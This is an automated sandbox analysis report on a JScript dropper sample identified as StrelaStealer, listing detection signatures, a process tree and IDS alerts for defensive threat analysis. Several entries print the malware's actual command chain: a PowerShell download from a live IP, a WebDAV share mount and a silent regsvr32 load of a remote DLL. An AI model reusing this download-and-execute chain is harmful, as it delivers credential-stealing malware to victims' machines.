Edit tour

Windows Analysis Report
106161149748268293.js

Overview

General Information

Sample name:	106161149748268293.js
Analysis ID:	1589058
MD5:	915c024390f59b88b1b44e8daf13d19e
SHA1:	b525956f82b5a259a8ea2bd8878bf3457d8a165a
SHA256:	a63a8883c826995903bfd1ad408402ccb9e310c4b1a8b407f4228dbd2bad6949
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5652 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\106161149748268293.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6968 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143071068231728.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5456 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6148 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 360 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7108 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5560 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1624,i,7132419276765248093,6791947108155488567,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6644 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6552 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 5940 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5652	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143071068231728.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6968, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6148, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143071068231728.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6968, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6148, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\106161149748268293.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\106161149748268293.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\106161149748268293.js", ProcessId: 5652, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6552, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143071068231728.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143071068231728.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\106161149748268293.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5652, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143071068231728.dll, ProcessId: 6968, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143071068231728.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143071068231728.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\106161149748268293.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5652, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143071068231728.dll, ProcessId: 6968, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143071068231728.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143071068231728.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\106161149748268293.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5652, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143071068231728.dll, ProcessId: 6968, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143071068231728.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143071068231728.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\106161149748268293.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5652, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143071068231728.dll, ProcessId: 6968, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143071068231728.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143071068231728.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\106161149748268293.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5652, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143071068231728.dll, ProcessId: 6968, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\106161149748268293.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\106161149748268293.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\106161149748268293.js", ProcessId: 5652, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143071068231728.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6968, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6148, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6644, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6552, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5940, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6644, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6552, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143071068231728.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143071068231728.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\106161149748268293.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5652, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143071068231728.dll, ProcessId: 6968, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T09:01:07.105419+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T09:01:09.744596+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T09:01:07.105419+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 106161149748268293.js

Virustotal: Detection: 8%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 106161149748268293.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 106161149748268293.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.5:49704 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 08:01:06 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 